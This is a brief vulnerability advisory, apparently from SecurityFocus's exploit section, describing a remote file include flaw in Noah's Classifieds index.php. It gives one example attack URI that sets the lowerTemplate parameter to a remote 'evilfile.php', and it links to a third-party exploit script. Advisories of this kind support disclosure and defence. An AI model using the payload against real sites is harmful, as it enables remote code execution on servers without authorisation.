Noah's Classifieds Index.PHP Remote File Include Vulnerability

info
discussion
exploit
solution
references

Noah's Classifieds Index.PHP Remote File Include Vulnerability

This vulnerability may be exploited with a Web client.

An example URI has been provided:

http://www.example.com/classifieds/index.php?lowerTemplate=http://www.example.com/evilfile.php

A sample exploit application by trueend5 is available:

http://www.securityfocus.com/vulnerabilities/exploits/noah_1.3_rce.php